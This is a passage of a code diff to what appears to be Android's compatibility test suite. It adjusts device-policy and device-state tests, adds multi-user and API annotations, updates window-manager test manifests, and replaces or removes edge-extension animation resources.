- assertThat(rExtraInfos
- .getDouble(SearchResult.EXTRAINFO_APP_INSTALL_COUNT))
- .isEqualTo(10);
-
- Parcel parcel = Parcel.obtain();
- parcel.setDataPosition(0);
- result.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- SearchResult copy = SearchResult.CREATOR.createFromParcel(parcel);
- /** Checks the copied result. */
- assertThat(copy.getTitle()).isEqualTo(title);
- assertThat(copy.getSnippet()).isEqualTo(snippet);
- assertThat(copy.getScore()).isEqualTo(score);
- final Bundle rExtraInfosCopy = copy.getExtraInfos();
- assertThat(rExtraInfosCopy
- .getBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER))
- .isEqualTo(false);
- assertThat(rExtraInfosCopy
- .getString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME))
- .isEqualTo("best_app_developer");
- assertThat((PendingIntent) rExtraInfosCopy
- .getParcelable(SearchResult.EXTRAINFO_ACTION_INSTALL_BUTTON))
- .isEqualTo(pendingIntent);
- assertThat((PendingIntent) rExtraInfosCopy
- .getParcelable(SearchResult.EXTRAINFO_ACTION_APP_CARD))
- .isEqualTo(pendingIntent);
- assertThat(rExtraInfosCopy
- .getString(SearchResult.EXTRAINFO_APP_PACKAGE_NAME))
- .isEqualTo("best_package_name");
- assertThat(rExtraInfosCopy
- .getDouble(SearchResult.EXTRAINFO_APP_INSTALL_COUNT))
- .isEqualTo(10);
-
- parcel.recycle();
- }
-}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
index 2c3934c..bdf4bc6 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
@@ -27,6 +27,7 @@
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
@@ -52,6 +53,7 @@
@EnsureHasDeviceOwner
@EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
@RequireRunOnPrimaryUser
+ @RequireMultiUserSupport
public void createCloneProfile_hasDeviceOwner_fails() {
assertThrows(NeneException.class,
() -> TestApis.users().createUser()
@@ -67,6 +69,7 @@
@EnsureHasNoDeviceOwner
@EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
@RequireRunOnPrimaryUser
+ @RequireMultiUserSupport
public void createCloneProfile_noDeviceOwner_succeeds() {
UserReference cloneUser = TestApis.users().createUser()
.parent(TestApis.users().instrumented())
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
index 2688d11..9c2714c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
@@ -23,6 +23,7 @@
import static org.testng.Assert.assertThrows;
import android.app.admin.RemoteDevicePolicyManager;
+import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.Context;
import android.provider.Telephony;
@@ -65,6 +66,7 @@
private ComponentName mAdmin;
private RemoteDevicePolicyManager mDpm;
private TelephonyManager mTelephonyManager;
+ private RoleManager mRoleManager;
@Before
public void setUp() {
@@ -72,13 +74,15 @@
mAdmin = dpc.componentName();
mDpm = dpc.devicePolicyManager();
mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
+ mRoleManager = sContext.getSystemService(RoleManager.class);
}
// TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
@Postsubmit(reason = "new test")
@PolicyAppliesTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_works() {
- assumeTrue(mTelephonyManager.isSmsCapable());
+ assumeTrue(mTelephonyManager.isSmsCapable()
+ || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
try (TestAppInstance smsApp = sSmsApp.install()) {
mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
@@ -93,7 +97,8 @@
@Postsubmit(reason = "new test")
@PolicyDoesNotApplyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_unchanged() {
- assumeTrue(mTelephonyManager.isSmsCapable());
+ assumeTrue(mTelephonyManager.isSmsCapable()
+ || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
try (TestAppInstance smsApp = sSmsApp.install()) {
mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
@@ -108,7 +113,8 @@
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_smsPackageDoesNotExist_unchanged() {
- assumeTrue(mTelephonyManager.isSmsCapable());
+ assumeTrue(mTelephonyManager.isSmsCapable()
+ || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
mDpm.setDefaultSmsApplication(mAdmin, FAKE_SMS_APP_NAME);
@@ -135,7 +141,8 @@
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_notSmsCapable_unchanged() {
- assumeTrue(!mTelephonyManager.isSmsCapable());
+ assumeTrue(!mTelephonyManager.isSmsCapable()
+ && (mRoleManager == null || !mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
try (TestAppInstance smsApp = sSmsApp.install()) {
mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
index 286ccae..1c35d48 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
@@ -54,6 +54,7 @@
import com.android.bedstead.harrier.annotations.EnsureHasPermission;
import com.android.bedstead.harrier.annotations.Postsubmit;
import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -65,6 +66,7 @@
import com.android.bedstead.remotedpc.RemoteDpc;
import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppInstance;
+import com.android.compatibility.common.util.CddTest;
import com.android.eventlib.truth.EventLogsSubject;
import com.android.queryable.queries.ActivityQuery;
@@ -140,6 +142,7 @@
@EnsureHasNoDpc
@EnsureHasNoSecondaryUser
@Test
+ @CddTest(requirements = {"3.9.4/C-3-1"})
public void createAndProvisionManagedProfile_roleHolderIsInWorkProfile()
throws ProvisioningException, InterruptedException {
UserHandle profile = null;
@@ -172,7 +175,9 @@
@EnsureHasDeviceOwner
@RequireRunOnPrimaryUser
@EnsureHasNoSecondaryUser
+ @RequireMultiUserSupport
@Test
+ @CddTest(requirements = {"3.9.4/C-3-1"})
public void createAndManageUser_roleHolderIsInManagedUser() throws InterruptedException {
UserHandle managedUser = null;
String roleHolderPackageName = null;
@@ -313,6 +318,7 @@
@EnsureHasNoWorkProfile
@RequireRunOnPrimaryUser
@EnsureHasNoDpc
+ @RequireMultiUserSupport
public void shouldAllowBypassingDevicePolicyManagementRoleQualification_withUsers_returnsFalse()
throws Exception {
resetInternalShouldAllowBypassingState();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index 11b5fd4..ae9ced5 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -54,7 +54,6 @@
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.annotation.RequiresFeature;
import android.app.AppOpsManager;
import android.app.admin.DevicePolicyManager;
import android.app.admin.FullyManagedDeviceProvisioningParams;
@@ -106,6 +105,7 @@
import com.android.bedstead.nene.users.UserType;
import com.android.bedstead.remotedpc.RemoteDpc;
import com.android.bedstead.testapp.TestAppInstance;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.SystemUtil;
import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
@@ -1354,7 +1354,8 @@
@RequireRunOnSecondaryUser
@EnsureHasNoProfileOwner
@RequireNotHeadlessSystemUserMode
- @RequiresFeature(FEATURE_DEVICE_ADMIN)
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ @ApiTest(apis = "android.app.admin.DevicePolicyManager#checkProvisioningPrecondition")
public void checkProvisioningPreCondition_actionDO_onNonSystemUser_returnsNotSystemUser() {
boolean setupComplete = TestApis.users().current().getSetupComplete();
TestApis.users().current().setSetupComplete(false);
@@ -1375,6 +1376,8 @@
@Postsubmit(reason = "New test")
@Test
@EnsureDoesNotHavePermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ @ApiTest(apis = "android.app.admin.DevicePolicyManager#setUserProvisioningState")
public void setUserProvisioningState_withoutRequiredPermission_throwsSecurityException() {
assertThrows(SecurityException.class, () ->
sDevicePolicyManager.setUserProvisioningState(
@@ -1667,6 +1670,8 @@
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
@EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ @ApiTest(apis = "android.app.admin.DevicePolicyManager#finalizeWorkProfileProvisioning")
public void finalizeWorkProfileProvisioning_managedUser_throwsException() {
RemoteDpc dpc = RemoteDpc.setAsProfileOwner(sDeviceState.secondaryUser());
try {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index fcf71d0..dfe77fb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -45,6 +45,7 @@
import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppInstance;
import com.android.queryable.queries.StringQuery;
@@ -235,6 +236,11 @@
private void assertPackageStopped(String packageName)
throws Exception {
+ Poll.forValue("Package " + packageName + " stopped", () -> isPackageStopped(packageName))
+ .toBeEqualTo(true)
+ .errorOnFail()
+ .await();
+
assertWithMessage("Package %s not stopped", packageName)
.that(isPackageStopped(packageName)).isTrue();
}
diff --git a/tests/devicestate/Android.bp b/tests/devicestate/Android.bp
index a2c2523..c064c29 100644
--- a/tests/devicestate/Android.bp
+++ b/tests/devicestate/Android.bp
@@ -24,7 +24,8 @@
"compatibility-device-util-axt",
"ctstestrunner-axt",
"mockito-target-minus-junit4",
- "cts-wm-util"
+ "cts-wm-util",
+ "cts_window_jetpack_utils",
],
srcs: ["src/**/*.java"],
// Tag this module as a cts test artifact
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
index c1815b9..050b069 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
@@ -18,12 +18,6 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static android.hardware.devicestate.cts.DeviceStateUtils.assertValidState;
-import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
-import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
-
-import static org.junit.Assert.assertTrue;
-
import android.hardware.devicestate.DeviceStateManager;
import android.hardware.devicestate.DeviceStateRequest;
import android.server.wm.ActivityManagerTestBase;
@@ -31,18 +25,14 @@
import androidx.annotation.CallSuper;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-
import androidx.test.ext.junit.runners.AndroidJUnit4;
-import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.ThrowingRunnable;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
import org.junit.Before;
import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
import javax.annotation.concurrent.GuardedBy;
/**
@@ -77,12 +67,14 @@
* {@link java.lang.InterruptedException} will be thrown.
*/
protected final void runWithRequestActive(@NonNull DeviceStateRequest request,
+ boolean isBaseStateRequest,
@NonNull Runnable runnable) throws Throwable {
final UncaughtExceptionHandler exceptionHandler = new UncaughtExceptionHandler();
final RequestAwareThread thread = new RequestAwareThread(request, runnable);
thread.setUncaughtExceptionHandler(exceptionHandler);
- try (DeviceStateRequestSession session
- = new DeviceStateRequestSession(mDeviceStateManager, request, thread)) {
+ try (DeviceStateRequestSession session =
+ new DeviceStateRequestSession(mDeviceStateManager, request,
+ isBaseStateRequest, thread)) {
// Set the exception handler to get the exception and rethrow.
thread.start();
// Wait for the request aware thread to finish executing the runnable. If the request
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
index 230b75a..0bb8e56 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
@@ -18,8 +18,8 @@
import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
-import static android.hardware.devicestate.cts.DeviceStateUtils.assertValidState;
-import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
+import static android.server.wm.DeviceStateUtils.assertValidState;
+import static android.server.wm.DeviceStateUtils.runWithControlDeviceStatePermission;
import static android.view.Display.DEFAULT_DISPLAY;
import static org.junit.Assert.assertEquals;
@@ -36,6 +36,8 @@
import android.content.res.Resources;
import android.hardware.devicestate.DeviceStateManager;
import android.hardware.devicestate.DeviceStateRequest;
+import android.server.wm.jetpack.utils.ExtensionUtil;
+import android.server.wm.jetpack.utils.Version;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -58,6 +60,9 @@
private static final int INVALID_DEVICE_STATE = -1;
+ /** Vendor extension version. Some API behaviors are only available in newer version. */
+ private static final Version WM_EXTENSION_VERSION = ExtensionUtil.getExtensionVersion();
+
/**
* Tests that {@link DeviceStateManager#getSupportedStates()} returns at least one state and
* that none of the returned states are in the range
@@ -92,13 +97,30 @@
final DeviceStateRequest request
= DeviceStateRequest.newBuilder(supportedStates[i]).build();
- runWithRequestActive(request, () -> {
+ runWithRequestActive(request, false, () -> {
verify(callback, atLeastOnce()).onStateChanged(intAgumentCaptor.capture());
assertEquals(intAgumentCaptor.getValue().intValue(), request.getState());
});
}
}
+ @Test
+ public void testRequestBaseState() throws Throwable {
+ assumeExtensionVersionAtLeast2();
+ final ArgumentCaptor<Integer> intAgumentCaptor = ArgumentCaptor.forClass(Integer.class);
+ final DeviceStateManager.DeviceStateCallback callback =
+ mock(DeviceStateManager.DeviceStateCallback.class);
+ final DeviceStateManager manager = getDeviceStateManager();
+
+ manager.registerCallback(Runnable::run, callback);
+
+ DeviceStateRequest request = DeviceStateRequest.newBuilder(0).build();
+ runWithRequestActive(request, true, () -> {
+ verify(callback, atLeastOnce()).onStateChanged(intAgumentCaptor.capture());
+ assertEquals(intAgumentCaptor.getValue().intValue(), request.getState());
+ });
+ }
+
/**
* Tests that calling {@link DeviceStateManager#requestState(DeviceStateRequest, Executor,
* DeviceStateRequest.Callback)} throws an {@link java.lang.IllegalArgumentException} if
@@ -462,9 +484,7 @@
final DeviceStateManager manager = getDeviceStateManager();
final int[] states = manager.getSupportedStates();
final DeviceStateRequest request = DeviceStateRequest.newBuilder(states[0]).build();
- runWithRequestActive(request, () -> {
- manager.cancelStateRequest();
- });
+ runWithRequestActive(request, false, manager::cancelStateRequest);
}
/**
@@ -498,6 +518,12 @@
}
}
+ /** For API changes that are introduced together with WM Extensions version 2. */
+ private static void assumeExtensionVersionAtLeast2() {
+ // TODO(b/232476698) Remove in the next Android release.
+ assumeTrue(WM_EXTENSION_VERSION.getMajor() >= 2);
+ }
+
private class StateTrackingCallback implements DeviceStateManager.DeviceStateCallback {
private int mCurrentState = - 1;
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
index 7b15fd9..3e5ab31 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
@@ -16,7 +16,7 @@
package android.hardware.devicestate.cts;
-import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
+import static android.server.wm.DeviceStateUtils.runWithControlDeviceStatePermission;
import android.hardware.devicestate.DeviceStateManager;
import android.hardware.devicestate.DeviceStateRequest;
@@ -34,12 +34,15 @@
@NonNull
private final DeviceStateRequest mRequest;
@NonNull
- private DeviceStateRequest.Callback mCallback;
+ private final DeviceStateRequest.Callback mCallback;
+ private final boolean mIsBaseStateRequest;
public DeviceStateRequestSession(@NonNull DeviceStateManager manager,
- @NonNull DeviceStateRequest request, @NonNull DeviceStateRequest.Callback callback) {
+ @NonNull DeviceStateRequest request, boolean isBaseStateRequest,
+ @NonNull DeviceStateRequest.Callback callback) {
mDeviceStateManager = manager;
mRequest = request;
+ mIsBaseStateRequest = isBaseStateRequest;
mCallback = callback;
submitRequest(request);
@@ -47,8 +50,14 @@
private void submitRequest(@NonNull DeviceStateRequest request) {
try {
- runWithControlDeviceStatePermission(() ->
- mDeviceStateManager.requestState(mRequest, Runnable::run, mCallback));
+ if (mIsBaseStateRequest) {
+ runWithControlDeviceStatePermission(() ->
+ mDeviceStateManager.requestBaseStateOverride(mRequest, Runnable::run,
+ mCallback));
+ } else {
+ runWithControlDeviceStatePermission(() ->
+ mDeviceStateManager.requestState(mRequest, Runnable::run, mCallback));
+ }
} catch (Throwable t) {
throw new RuntimeException(t);
}
@@ -57,7 +66,11 @@
@Override
public void close() {
try {
- runWithControlDeviceStatePermission(mDeviceStateManager::cancelStateRequest);
+ if (mIsBaseStateRequest) {
+ runWithControlDeviceStatePermission(mDeviceStateManager::cancelBaseStateOverride);
+ } else {
+ runWithControlDeviceStatePermission(mDeviceStateManager::cancelStateRequest);
+ }
} catch (Throwable t) {
throw new RuntimeException(t);
}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 1a86422..b1aabf0 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -433,6 +433,8 @@
<activity android:name="android.server.wm.WindowInsetsAnimationTestBase$TestActivity"
android:theme="@android:style/Theme.Material.NoActionBar"/>
+ <activity android:name="android.server.wm.WindowInsetsAnimationControllerTests$ControllerTestActivity"
+ android:theme="@android:style/Theme.Material.NoActionBar" />
<activity android:name="android.server.wm.ForceRelayoutTestBase$TestActivity"
android:exported="true"/>
@@ -456,6 +458,10 @@
android:colorMode="wideColorGamut"
android:fitsSystemWindows="true" />
+ <activity android:name="android.server.wm.ActivityTransitionTests$CustomWindowAnimationActivity"
+ android:theme="@style/window_task_animation"
+ android:exported="true"/>
+
<activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
android:exported="true"
android:configChanges="screenSize|screenLayout|orientation"
@@ -492,7 +498,7 @@
<activity android:name="android.server.wm.CompatChangeTests$NonResizeableLargeAspectRatioActivity"
android:resizeableActivity="false"
android:screenOrientation="portrait"
- android:minAspectRatio="3"
+ android:minAspectRatio="4"
android:exported="true"/>
<activity android:name="android.server.wm.CompatChangeTests$SupportsSizeChangesPortraitActivity"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index be93126..2e0a212 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -620,16 +620,6 @@
android:exported="true"
android:colorMode="wideColorGamut"
android:theme="@style/BadBlurryDialog"/>
- <activity android:name=".CustomTransitionExitActivity"
- android:theme="@style/Theme.CustomTransitionTheme"
- android:exported="true"
- android:colorMode="wideColorGamut"
- android:fitsSystemWindows="true" />
- <activity android:name=".CustomTransitionEnterActivity"
- android:theme="@style/Theme.CustomTransitionTheme"
- android:exported="true"
- android:colorMode="wideColorGamut"
- android:fitsSystemWindows="true" />
<activity android:name=".KeepClearRectsActivity"
android:exported="true"
android:theme="@style/NoInsetsTheme"/>
diff --git a/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml b/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml
index 3391d53..48f004d 100644
--- a/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml
+++ b/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml
@@ -1,5 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
<!--
- ~ Copyright (C) 2016 The Android Open Source Project
+ ~ Copyright (C) 2022 The Android Open Source Project
~
~ Licensed under the Apache License, Version 2.0 (the "License");
~ you may not use this file except in compliance with the License.
@@ -11,16 +12,42 @@
~ distributed under the License is distributed on an "AS IS" BASIS,
~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
~ See the License for the specific language governing permissions and
- ~ limitations under the License
+ ~ limitations under the License.
-->
-<!-- Duration is set higher than the wait for state checks (once per second) to avoid races to make
- sure that the check occurs during the animation is running. -->
-<translate
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:fromYDelta="100%" android:toYDelta="0"
- android:interpolator="@android:interpolator/linear"
- android:fillEnabled="true"
- android:fillBefore="true" android:fillAfter="true"
- android:duration="2000"
- android:background="#ff0000">
-</translate>
\ No newline at end of file
+
+<set xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shareInterpolator="false">
+
+ <alpha
+ android:fromAlpha="1.0"
+ android:toAlpha="1.0"
+ android:fillEnabled="true"
+ android:fillBefore="true"
+ android:fillAfter="true"
+ android:interpolator="@android:interpolator/linear"
+ android:startOffset="0"
+ android:duration="5000" />
+
+ <scale
+ android:fromXScale="1.0"
+ android:toXScale="1.0"
+ android:fromYScale="0.5"
+ android:toYScale="0.5"
+ android:interpolator="@android:interpolator/linear"
+ android:startOffset="0"
+ android:duration="5000" />
+
+ <extend
+ android:fromExtendLeft="0"
+ android:fromExtendTop="0"
+ android:fromExtendRight="0"
+ android:fromExtendBottom="100%"
+ android:toExtendLeft="0"
+ android:toExtendTop="0"
+ android:toExtendRight="0"
+ android:toExtendBottom="100%"
+ android:interpolator="@android:interpolator/linear"
+ android:startOffset="0"
+ android:duration="5000" />
+
+</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_bottom_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_bottom_window_animation.xml
deleted file mode 100644
index 48f004d..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_bottom_window_animation.xml
+++ /dev/null
@@ -1,53 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
- android:shareInterpolator="false">
-
- <alpha
- android:fromAlpha="1.0"
- android:toAlpha="1.0"
- android:fillEnabled="true"
- android:fillBefore="true"
- android:fillAfter="true"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <scale
- android:fromXScale="1.0"
- android:toXScale="1.0"
- android:fromYScale="0.5"
- android:toYScale="0.5"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <extend
- android:fromExtendLeft="0"
- android:fromExtendTop="0"
- android:fromExtendRight="0"
- android:fromExtendBottom="100%"
- android:toExtendLeft="0"
- android:toExtendTop="0"
- android:toExtendRight="0"
- android:toExtendBottom="100%"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_left_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_left_window_animation.xml
deleted file mode 100644
index 6be9f1b..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_left_window_animation.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
- android:shareInterpolator="false">
-
- <alpha
- android:fromAlpha="1.0"
- android:toAlpha="1.0"
- android:fillEnabled="true"
- android:fillBefore="true"
- android:fillAfter="true"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <scale
- android:fromXScale="0.5"
- android:toXScale="0.5"
- android:fromYScale="1.0"
- android:toYScale="1.0"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <translate
- android:fromXDelta="50%"
- android:toXDelta="50%"
- android:interpolator="@android:interpolator/linear"
- android:duration="5000" />
-
- <extend
- android:fromExtendLeft="100%"
- android:fromExtendTop="0"
- android:fromExtendRight="0"
- android:fromExtendBottom="0"
- android:toExtendLeft="100%"
- android:toExtendTop="0"
- android:toExtendRight="0"
- android:toExtendBottom="0"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_right_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_right_window_animation.xml
deleted file mode 100644
index c589f0e..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_right_window_animation.xml
+++ /dev/null
@@ -1,53 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
- android:shareInterpolator="false">
-
- <alpha
- android:fromAlpha="1.0"
- android:toAlpha="1.0"
- android:fillEnabled="true"
- android:fillBefore="true"
- android:fillAfter="true"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <scale
- android:fromXScale="0.5"
- android:toXScale="0.5"
- android:fromYScale="1.0"
- android:toYScale="1.0"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <extend
- android:fromExtendLeft="0"
- android:fromExtendTop="0"
- android:fromExtendRight="100%"
- android:fromExtendBottom="0"
- android:toExtendLeft="0"
- android:toExtendTop="0"
- android:toExtendRight="100%"
- android:toExtendBottom="0"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
-</set>
